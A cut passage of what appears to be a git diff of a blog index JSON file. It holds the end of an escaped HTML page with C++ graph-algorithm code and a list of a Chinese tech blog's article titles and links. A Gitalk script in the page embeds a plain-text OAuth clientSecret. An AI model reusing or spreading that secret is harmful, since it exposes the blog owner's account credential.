current_father;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003efor\u003c/span\u003e (\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e i = \u003cspan class=\"number\"\u003e0\u003c/span\u003e; i \u0026lt; \u003cspan class=\"number\"\u003e16\u003c/span\u003e \u0026amp;\u0026amp; father[current][i]; i++)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e father[current][i + \u003cspan class=\"number\"\u003e1\u003c/span\u003e] = father[father[current][i]][i];\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"meta-keyword\"\u003eundef\u003c/span\u003e current\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}DT;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e FINAL[maxn];\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e \u003cspan class=\"title\"\u003eFINAL_DFS\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e current)\u003c/span\u003e \u003c/span\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eint\u003c/span\u003e cnt = \u003cspan class=\"number\"\u003e1\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003efor\u003c/span\u003e (\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e i = \u003cspan class=\"number\"\u003e0\u003c/span\u003e; i \u0026lt; DT[current].\u003cspan class=\"built_in\"\u003esize\u003c/span\u003e(); i++)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e cnt += \u003cspan class=\"built_in\"\u003eFINAL_DFS\u003c/span\u003e(DT[current][i]);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e FINAL[current] = cnt;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e \u003cspan class=\"title\"\u003emain\u003c/span\u003e\u003cspan class=\"params\"\u003e()\u003c/span\u003e \u003c/span\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e cin \u0026gt;\u0026gt; n; \u003cspan class=\"keyword\"\u003eint\u003c/span\u003e other;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003efor\u003c/span\u003e (\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e i = \u003cspan class=\"number\"\u003e1\u003c/span\u003e; i \u0026lt;= n; i++) {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e cin \u0026gt;\u0026gt; other;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ewhile\u003c/span\u003e (other) {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e G.\u003cspan class=\"built_in\"\u003econnect\u003c/span\u003e(i, other);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e cin \u0026gt;\u0026gt; other;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e G.\u003cspan class=\"built_in\"\u003etopoSort\u003c/span\u003e();\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e DT.\u003cspan class=\"built_in\"\u003ebuild\u003c/span\u003e(G.topoOrder);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eFINAL_DFS\u003c/span\u003e(\u003cspan class=\"number\"\u003e0\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003efor\u003c/span\u003e (\u003cspan class=\"keyword\"\u003eint\u003c/span\u003e i = \u003cspan class=\"number\"\u003e1\u003c/span\u003e; i \u0026lt;= n; i++)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e cout \u0026lt;\u0026lt; FINAL[i] - \u003cspan class=\"number\"\u003e1\u003c/span\u003e \u0026lt;\u0026lt; endl;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cdiv id=\"gitalk-container\"\u003e\u003c/div\u003e\u003cscript src=\"https://cdn.bootcss.com/blueimp-md5/2.12.0/js/md5.min.js\"\u003e\u003c/script\u003e\u003clink rel=\"stylesheet\" href=\"https://unpkg.com/gitalk/dist/gitalk.css\"/\u003e\u003cscript src=\"https://unpkg.com/gitalk/dist/gitalk.min.js\"\u003e\u003c/script\u003e\u003cscript\u003evar gitalkConfig = {\"clientID\":\"5955d155fe2ea768241e\",\"clientSecret\":\"f96bbda9ff434950217f24f7f9369f8b8de3b025\",\"repo\":\"frankli0324.github.io\",\"owner\":\"frankli0324\",\"admin\":[\"frankli0324\"],\"distractionFreeMode\":false}; gitalkConfig.id = md5(location.pathname);var gitalk = new Gitalk(gitalkConfig); gitalk.render(\"gitalk-container\"); \u003c/script\u003e\u003clink rel=\"stylesheet\" href=\"/css/spoiler.css\" type=\"text/css\"/\u003e\u003cscript src=\"/js/spoiler.js\" type=\"text/javascript\" async=\"\"\u003e\u003c/script\u003e\u003c/body\u003e\u003c/html\u003e","url":"https://blog.frankli.site/2018/08/01/Misc/%E6%97%A7%E7%9A%84%E5%87%A0%E7%AF%87%E9%A2%98%E8%A7%A3/"}]}],"update":"2023-10-21T22:19:29.875430751Z"} \ No newline at end of file diff --git a/index.json b/index.json index dbcbd765..bf29ce78 100644 --- a/index.json +++ b/index.json @@ -1 +1 @@ -{"version":1,"author":[{"name":"神社的储物间","email":"","uri":"https://xeonds.github.io/","description":"*节操消失了*","article":[{"title":"如何搭建一个本地镜像源","time":"2023-10-16T15:23:51Z","content":"db/0_0_如何搭建一个本地镜像源.txt","url":"https://xeonds.github.io/2023/10/16/setup-local-linux-mirror/"},{"title":"CSDN复制解禁","time":"2023-10-12T06:18:34Z","content":"db/0_1_CSDN复制解禁.txt","url":"https://xeonds.github.io/2023/10/12/csdn-copy/"},{"title":"联邦学习的投毒和攻防方法","time":"2023-10-11T10:59:46Z","content":"db/0_2_联邦学习的投毒和攻防方法.txt","url":"https://xeonds.github.io/2023/10/11/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%81%94%E9%82%A6%E5%AD%A6%E4%B9%A0%E7%9A%84%E6%8A%95%E6%AF%92%E5%92%8C%E6%94%BB%E9%98%B2%E6%96%B9%E6%B3%95/"},{"title":"Vim备忘录","time":"2023-09-29T21:30:53Z","content":"db/0_3_Vim备忘录.txt","url":"https://xeonds.github.io/2023/09/29/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E5%BC%80%E5%8F%91%E5%B7%A5%E5%85%B7/Vim%E5%A4%87%E5%BF%98%E5%BD%95/"},{"title":"基于Bash的目录级环境配置工具","time":"2023-09-26T15:46:55Z","content":"db/0_4_基于Bash的目录级环境配置工具.txt","url":"https://xeonds.github.io/2023/09/26/%E5%9F%BA%E4%BA%8EBash%E7%9A%84%E7%9B%AE%E5%BD%95%E7%BA%A7%E7%8E%AF%E5%A2%83%E9%85%8D%E7%BD%AE%E5%B7%A5%E5%85%B7/"},{"title":"SSH学习笔记","time":"2023-09-25T06:16:18Z","content":"db/0_5_SSH学习笔记.txt","url":"https://xeonds.github.io/2023/09/25/ssh-usage/"},{"title":"flutter-intro","time":"2023-09-16T08:34:35Z","content":"db/0_6_flutter-intro.txt","url":"https://xeonds.github.io/2023/09/16/flutter-intro/"},{"title":"C++-STL速通","time":"2023-09-14T14:09:12Z","content":"db/0_7_C++-STL速通.txt","url":"https://xeonds.github.io/2023/09/14/cpp-stl/"},{"title":"Arch Linux折腾笔记","time":"2023-09-05T13:39:57Z","content":"db/0_8_Arch Linux折腾笔记.txt","url":"https://xeonds.github.io/2023/09/05/arch-linux%E6%8A%98%E8%85%BE%E7%AC%94%E8%AE%B0/"},{"title":"ChatGLM部署手记","time":"2023-08-22T17:20:56Z","content":"db/0_9_ChatGLM部署手记.txt","url":"https://xeonds.github.io/2023/08/22/ChatGLM%E9%83%A8%E7%BD%B2%E6%89%8B%E8%AE%B0/"},{"title":"ESXi折腾小记","time":"2023-07-21T12:32:36Z","content":"db/0_10_ESXi折腾小记.txt","url":"https://xeonds.github.io/2023/07/21/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F/ESXi%E6%8A%98%E8%85%BE%E5%B0%8F%E8%AE%B0/"},{"title":"Web开发日志-Vue篇","time":"2023-07-17T11:24:35Z","content":"db/0_11_Web开发日志-Vue篇.txt","url":"https://xeonds.github.io/2023/07/17/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/JavaScript/Web%E5%BC%80%E5%8F%91%E6%97%A5%E5%BF%97-Vue%E7%AF%87/"},{"title":"关于前端Blob下载那点事","time":"2023-07-11T14:16:38Z","content":"db/0_12_关于前端Blob下载那点事.txt","url":"https://xeonds.github.io/2023/07/11/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E5%85%B3%E4%BA%8E%E5%89%8D%E7%AB%AFBlob%E4%B8%8B%E8%BD%BD%E9%82%A3%E7%82%B9%E4%BA%8B/"},{"title":"sed,awk与grep","time":"2023-07-10T08:17:33Z","content":"db/0_13_sed,awk与grep.txt","url":"https://xeonds.github.io/2023/07/10/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E5%BC%80%E5%8F%91%E5%B7%A5%E5%85%B7/sed%EF%BC%8Cawk%E4%B8%8Egrep/"},{"title":"ElementPlus快速入门","time":"2023-07-09T17:13:15Z","content":"db/0_14_ElementPlus快速入门.txt","url":"https://xeonds.github.io/2023/07/09/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/ElementPlus%E5%BF%AB%E9%80%9F%E5%85%A5%E9%97%A8/"},{"title":"计组笔记:第五章-指令系统","time":"2023-06-17T12:07:32Z","content":"db/0_15_计组笔记:第五章-指令系统.txt","url":"https://xeonds.github.io/2023/06/17/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BB%84%E6%88%90%E5%8E%9F%E7%90%86/%E8%AE%A1%E7%BB%84%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%BA%94%E7%AB%A0-%E6%8C%87%E4%BB%A4%E7%B3%BB%E7%BB%9F/"},{"title":"模电:第三章-放大电路分析方法","time":"2023-06-13T12:54:14Z","content":"db/0_16_模电:第三章-放大电路分析方法.txt","url":"https://xeonds.github.io/2023/06/13/%E7%89%A9%E7%90%86/%E6%A8%A1%E6%8B%9F%E7%94%B5%E8%B7%AF/%E6%A8%A1%E7%94%B5%EF%BC%9A%E7%AC%AC%E4%B8%89%E7%AB%A0-%E6%94%BE%E5%A4%A7%E7%94%B5%E8%B7%AF%E5%88%86%E6%9E%90%E6%96%B9%E6%B3%95/"},{"title":"一个奇怪的Base64浏览器记事本","time":"2023-06-10T12:31:17Z","content":"db/0_17_一个奇怪的Base64浏览器记事本.txt","url":"https://xeonds.github.io/2023/06/10/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E4%B8%80%E4%B8%AA%E5%A5%87%E6%80%AA%E7%9A%84Base64%E6%B5%8F%E8%A7%88%E5%99%A8%E8%AE%B0%E4%BA%8B%E6%9C%AC/"},{"title":"计网笔记:第一部分-概述","time":"2023-06-09T05:38:14Z","content":"db/0_18_计网笔记:第一部分-概述.txt","url":"https://xeonds.github.io/2023/06/09/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%B8%80%E9%83%A8%E5%88%86-%E6%A6%82%E8%BF%B0/"},{"title":"用Docker开个MC服务器","time":"2023-06-07T13:26:19Z","content":"db/0_19_用Docker开个MC服务器.txt","url":"https://xeonds.github.io/2023/06/07/%E6%B8%B8%E6%88%8F/Minecraft/%E7%94%A8Docker%E5%BC%80%E4%B8%AAMC%E6%9C%8D%E5%8A%A1%E5%99%A8/"},{"title":"计网笔记:复习","time":"2023-06-07T07:06:44Z","content":"db/0_20_计网笔记:复习.txt","url":"https://xeonds.github.io/2023/06/07/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E5%A4%8D%E4%B9%A0/"},{"title":"模电:第二章-三极管","time":"2023-06-05T09:16:16Z","content":"db/0_21_模电:第二章-三极管.txt","url":"https://xeonds.github.io/2023/06/05/%E7%89%A9%E7%90%86/%E6%A8%A1%E6%8B%9F%E7%94%B5%E8%B7%AF/%E6%A8%A1%E7%94%B5%EF%BC%9A%E7%AC%AC%E4%BA%8C%E7%AB%A0-%E4%B8%89%E6%9E%81%E7%AE%A1/"},{"title":"Bash学习笔记","time":"2023-06-03T13:43:09Z","content":"db/0_22_Bash学习笔记.txt","url":"https://xeonds.github.io/2023/06/03/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/Script/Bash%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/"},{"title":"计组笔记:第四章-存储系统","time":"2023-05-31T21:55:17Z","content":"db/0_23_计组笔记:第四章-存储系统.txt","url":"https://xeonds.github.io/2023/05/31/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BB%84%E6%88%90%E5%8E%9F%E7%90%86/%E8%AE%A1%E7%BB%84%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E5%9B%9B%E7%AB%A0-%E5%AD%98%E5%82%A8%E7%B3%BB%E7%BB%9F/"},{"title":"试试终端养鱼(Linux)!","time":"2023-05-31T13:17:06Z","content":"db/0_24_试试终端养鱼(Linux)!.txt","url":"https://xeonds.github.io/2023/05/31/%E8%AF%95%E8%AF%95%E7%BB%88%E7%AB%AF%E5%85%BB%E9%B1%BC%EF%BC%88Linux%EF%BC%89%EF%BC%81/"},{"title":"计网笔记:第四部分-网络层","time":"2023-05-24T08:33:07Z","content":"db/0_25_计网笔记:第四部分-网络层.txt","url":"https://xeonds.github.io/2023/05/24/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E5%9B%9B%E9%83%A8%E5%88%86-%E7%BD%91%E7%BB%9C%E5%B1%82/"},{"title":"计网笔记:第三部分-数据链路层","time":"2023-05-24T07:24:59Z","content":"db/0_26_计网笔记:第三部分-数据链路层.txt","url":"https://xeonds.github.io/2023/05/24/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%B8%89%E9%83%A8%E5%88%86-%E6%95%B0%E6%8D%AE%E9%93%BE%E8%B7%AF%E5%B1%82/"},{"title":"操作系统实验报告","time":"2023-05-23T08:02:09Z","content":"db/0_27_操作系统实验报告.txt","url":"https://xeonds.github.io/2023/05/23/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F%E5%AE%9E%E9%AA%8C%E6%8A%A5%E5%91%8A/"},{"title":"使用Kali进行ARP欺骗攻击","time":"2023-05-22T02:28:36Z","content":"db/0_28_使用Kali进行ARP欺骗攻击.txt","url":"https://xeonds.github.io/2023/05/22/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/arp-kali/"},{"title":"C语言MPI学习笔记","time":"2023-04-27T15:48:54Z","content":"db/0_29_C语言MPI学习笔记.txt","url":"https://xeonds.github.io/2023/04/27/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/C%E8%AF%AD%E8%A8%80MPI%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/"},{"title":"GDB学习笔记","time":"2023-03-16T15:12:16Z","content":"db/0_30_GDB学习笔记.txt","url":"https://xeonds.github.io/2023/03/16/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E5%BC%80%E5%8F%91%E5%B7%A5%E5%85%B7/GDB%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/"},{"title":"Linux添加自定义服务","time":"2023-03-13T13:06:51Z","content":"db/0_31_Linux添加自定义服务.txt","url":"https://xeonds.github.io/2023/03/13/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F/Linux%E6%B7%BB%E5%8A%A0%E8%87%AA%E5%AE%9A%E4%B9%89%E6%9C%8D%E5%8A%A1/"},{"title":"第五章:数理统计初步","time":"2023-02-21T09:15:55Z","content":"db/0_32_第五章:数理统计初步.txt","url":"https://xeonds.github.io/2023/02/21/%E6%95%B0%E5%AD%A6/%E6%A6%82%E7%8E%87%E8%AE%BA%E4%B8%8E%E6%95%B0%E7%90%86%E7%BB%9F%E8%AE%A1/%E7%AC%AC%E4%BA%94%E7%AB%A0%EF%BC%9A%E6%95%B0%E7%90%86%E7%BB%9F%E8%AE%A1%E5%88%9D%E6%AD%A5/"},{"title":"计组笔记:第二章-计算机数据表示","time":"2023-02-13T04:52:00Z","content":"db/0_33_计组笔记:第二章-计算机数据表示.txt","url":"https://xeonds.github.io/2023/02/13/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BB%84%E6%88%90%E5%8E%9F%E7%90%86/%E8%AE%A1%E7%BB%84%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%BA%8C%E7%AB%A0-%E8%AE%A1%E7%AE%97%E6%9C%BA%E6%95%B0%E6%8D%AE%E8%A1%A8%E7%A4%BA/"},{"title":"第二章:随机变量及概率分布","time":"2023-02-04T04:15:20Z","content":"db/0_34_第二章:随机变量及概率分布.txt","url":"https://xeonds.github.io/2023/02/04/%E6%95%B0%E5%AD%A6/%E6%A6%82%E7%8E%87%E8%AE%BA%E4%B8%8E%E6%95%B0%E7%90%86%E7%BB%9F%E8%AE%A1/%E7%AC%AC%E4%BA%8C%E7%AB%A0%EF%BC%9A%E9%9A%8F%E6%9C%BA%E5%8F%98%E9%87%8F%E5%8F%8A%E6%A6%82%E7%8E%87%E5%88%86%E5%B8%83/"},{"title":"流浪地球2观影小记","time":"2023-02-02T09:12:22Z","content":"db/0_35_流浪地球2观影小记.txt","url":"https://xeonds.github.io/2023/02/02/%E6%96%87%E5%AD%A6/%E6%9D%82%E8%B0%88/%E6%B5%81%E6%B5%AA%E5%9C%B0%E7%90%832%E8%A7%82%E5%BD%B1%E5%B0%8F%E8%AE%B0/"},{"title":"常用分布的期望和方差","time":"2023-01-30T19:24:43Z","content":"db/0_36_常用分布的期望和方差.txt","url":"https://xeonds.github.io/2023/01/30/%E6%95%B0%E5%AD%A6/%E6%A6%82%E7%8E%87%E8%AE%BA%E4%B8%8E%E6%95%B0%E7%90%86%E7%BB%9F%E8%AE%A1/%E5%B8%B8%E7%94%A8%E5%88%86%E5%B8%83%E7%9A%84%E6%9C%9F%E6%9C%9B%E5%92%8C%E6%96%B9%E5%B7%AE/"},{"title":"基于Kali的WiFi攻击","time":"2023-01-28T08:30:04Z","content":"db/0_37_基于Kali的WiFi攻击.txt","url":"https://xeonds.github.io/2023/01/28/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E5%9F%BA%E4%BA%8EKali%E7%9A%84WiFi%E6%94%BB%E5%87%BB/"},{"title":"计算机网络笔记","time":"2023-01-27T15:07:45Z","content":"db/0_38_计算机网络笔记.txt","url":"https://xeonds.github.io/2023/01/27/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%BA%8C%E9%83%A8%E5%88%86-%E7%89%A9%E7%90%86%E5%B1%82%E5%92%8C%E4%BB%8B%E8%B4%A8/"},{"title":"什么是程序和编译器","time":"2023-01-27T14:27:42Z","content":"db/0_39_什么是程序和编译器.txt","url":"https://xeonds.github.io/2023/01/27/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F/%E4%BB%80%E4%B9%88%E6%98%AF%E7%A8%8B%E5%BA%8F%E5%92%8C%E7%BC%96%E8%AF%91%E5%99%A8/"},{"title":"书摘:《娱乐至死》","time":"2022-12-29T08:39:22Z","content":"db/0_40_书摘:《娱乐至死》.txt","url":"https://xeonds.github.io/2022/12/29/%E6%96%87%E5%AD%A6/%E6%9D%82%E8%B0%88/%E4%B9%A6%E6%91%98%EF%BC%9A%E3%80%8A%E5%A8%B1%E4%B9%90%E8%87%B3%E6%AD%BB%E3%80%8B/"},{"title":"模电:第一章-半导体器件","time":"2022-12-21T02:25:21Z","content":"db/0_41_模电:第一章-半导体器件.txt","url":"https://xeonds.github.io/2022/12/21/%E7%89%A9%E7%90%86/%E6%A8%A1%E6%8B%9F%E7%94%B5%E8%B7%AF/%E6%A8%A1%E7%94%B5%EF%BC%9A%E7%AC%AC%E4%B8%80%E7%AB%A0-%E5%8D%8A%E5%AF%BC%E4%BD%93%E5%99%A8%E4%BB%B6/"},{"title":"信号与系统笔记","time":"2022-12-20T00:48:44Z","content":"db/0_42_信号与系统笔记.txt","url":"https://xeonds.github.io/2022/12/20/%E7%89%A9%E7%90%86/%E4%BF%A1%E5%8F%B7%E4%B8%8E%E7%B3%BB%E7%BB%9F/%E4%BF%A1%E5%8F%B7%E4%B8%8E%E7%B3%BB%E7%BB%9F%E7%AC%94%E8%AE%B0/"},{"title":"计组笔记:第一章-绪论","time":"2022-12-19T00:34:19Z","content":"db/0_43_计组笔记:第一章-绪论.txt","url":"https://xeonds.github.io/2022/12/19/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BB%84%E6%88%90%E5%8E%9F%E7%90%86/%E8%AE%A1%E7%BB%84%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%B8%80%E7%AB%A0-%E7%BB%AA%E8%AE%BA/"},{"title":"激光与固体物理笔记","time":"2022-12-15T03:29:30Z","content":"db/0_44_激光与固体物理笔记.txt","url":"https://xeonds.github.io/2022/12/15/%E7%89%A9%E7%90%86/%E6%BF%80%E5%85%89%E4%B8%8E%E5%9B%BA%E4%BD%93%E7%89%A9%E7%90%86%E7%AC%94%E8%AE%B0/"},{"title":"量子力学笔记","time":"2022-12-15T02:32:37Z","content":"db/0_45_量子力学笔记.txt","url":"https://xeonds.github.io/2022/12/15/%E7%89%A9%E7%90%86/%E9%87%8F%E5%AD%90%E5%8A%9B%E5%AD%A6%E7%AC%94%E8%AE%B0/"},{"title":"我的知识库管理折腾记录","time":"2022-12-12T17:53:00Z","content":"db/0_46_我的知识库管理折腾记录.txt","url":"https://xeonds.github.io/2022/12/12/%E6%96%87%E5%AD%A6/%E6%9D%82%E8%B0%88/%E6%88%91%E7%9A%84%E7%9F%A5%E8%AF%86%E5%BA%93%E7%AE%A1%E7%90%86%E6%8A%98%E8%85%BE%E8%AE%B0%E5%BD%95/"},{"title":"Software Preservation Group","time":"2022-11-25T03:39:58Z","content":"db/0_47_Software Preservation Group.txt","url":"https://xeonds.github.io/2022/11/25/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/Software%20Preservation%20Group/"},{"title":"GitHub博客搭建","time":"2022-11-25T03:35:50Z","content":"db/0_48_GitHub博客搭建.txt","url":"https://xeonds.github.io/2022/11/25/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/GitHub%E5%8D%9A%E5%AE%A2%E6%90%AD%E5%BB%BA/"},{"title":"C语言命令行参数解析","time":"2022-11-22T12:28:42Z","content":"db/0_49_C语言命令行参数解析.txt","url":"https://xeonds.github.io/2022/11/22/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/C%E8%AF%AD%E8%A8%80%E5%91%BD%E4%BB%A4%E8%A1%8C%E5%8F%82%E6%95%B0%E8%A7%A3%E6%9E%90/"},{"title":"C语言SQLite3使用总结","time":"2022-11-22T12:14:44Z","content":"db/0_50_C语言SQLite3使用总结.txt","url":"https://xeonds.github.io/2022/11/22/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/C%E8%AF%AD%E8%A8%80SQLite3%E4%BD%BF%E7%94%A8%E6%80%BB%E7%BB%93/"},{"title":"Go语言命令行库urfave-cli简介","time":"2022-11-22T11:44:01Z","content":"db/0_51_Go语言命令行库urfave-cli简介.txt","url":"https://xeonds.github.io/2022/11/22/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/Golang/Go%E8%AF%AD%E8%A8%80%E5%91%BD%E4%BB%A4%E8%A1%8C%E5%BA%93urfave-cli%E7%AE%80%E4%BB%8B/"},{"title":"Go语言结构类型详解","time":"2022-11-22T11:36:06Z","content":"db/0_52_Go语言结构类型详解.txt","url":"https://xeonds.github.io/2022/11/22/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/Golang/Go%E8%AF%AD%E8%A8%80%E7%BB%93%E6%9E%84%E7%B1%BB%E5%9E%8B%E8%AF%A6%E8%A7%A3/"},{"title":"Java 匹配注释的正则表达式","time":"2022-11-22T11:30:53Z","content":"db/0_53_Java 匹配注释的正则表达式.txt","url":"https://xeonds.github.io/2022/11/22/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/Java/Java%20%E5%8C%B9%E9%85%8D%E6%B3%A8%E9%87%8A%E7%9A%84%E6%AD%A3%E5%88%99%E8%A1%A8%E8%BE%BE%E5%BC%8F/"},{"title":"Java Arrays.sort()详解","time":"2022-11-22T11:04:01Z","content":"db/0_54_Java Arrays.sort()详解.txt","url":"https://xeonds.github.io/2022/11/22/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/Java/Java%20Arrays.sort()%E8%AF%A6%E8%A7%A3/"},{"title":"Java 分割出字符串中的字母或数字","time":"2022-11-22T11:04:01Z","content":"db/0_55_Java 